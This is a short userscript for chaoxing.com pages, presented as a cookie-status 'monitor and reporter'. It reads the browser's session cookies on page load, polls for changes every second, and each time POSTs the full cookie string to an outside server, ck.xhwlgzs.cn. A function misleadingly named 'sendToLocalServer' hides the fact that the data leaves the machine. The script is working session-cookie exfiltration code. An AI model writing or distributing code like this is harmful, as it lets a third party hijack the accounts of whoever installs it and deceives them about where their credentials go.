// ==UserScript== // @name 超星Cookie状态监测上报 // @match https://*.chaoxing.com/* // @grant none // ==/UserScript== (function () { 'use strict'; const API_URL = "https://ck.xhwlgzs.cn/cookie"; const CHECK_INTERVAL = 1000; // 仅发送 {cookie: 字符串} 格式 function sendToLocalServer(cookieStr) { fetch(API_URL, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ cookie: cookieStr }), mode: "no-cors" }).catch(err => { console.error("[Cookie上报失败]", err); }); } // 清理cookie,去除空项避免计数错误 function splitCookie(cookieStr) { if (!cookieStr) return []; return cookieStr.split(";") .map(item => item.trim()) .filter(item => item !== ""); } let lastCookieStr = document.cookie; let timerId = null; console.log("[初始化Cookie]", lastCookieStr); // 页面载入立刻上报一次 sendToLocalServer(lastCookieStr); // 定时监测变化 timerId = setInterval(() => { const currentCookie = document.cookie; if (currentCookie === lastCookieStr) return; console.log("%c[Cookie已更新]", "color:red", currentCookie); // 变化时上报最新cookie sendToLocalServer(currentCookie); lastCookieStr = currentCookie; }, CHECK_INTERVAL); // 页面关闭销毁定时器 window.addEventListener("beforeunload", () => { clearInterval(timerId); timerId = null; console.log("[停止Cookie监测]"); }); })();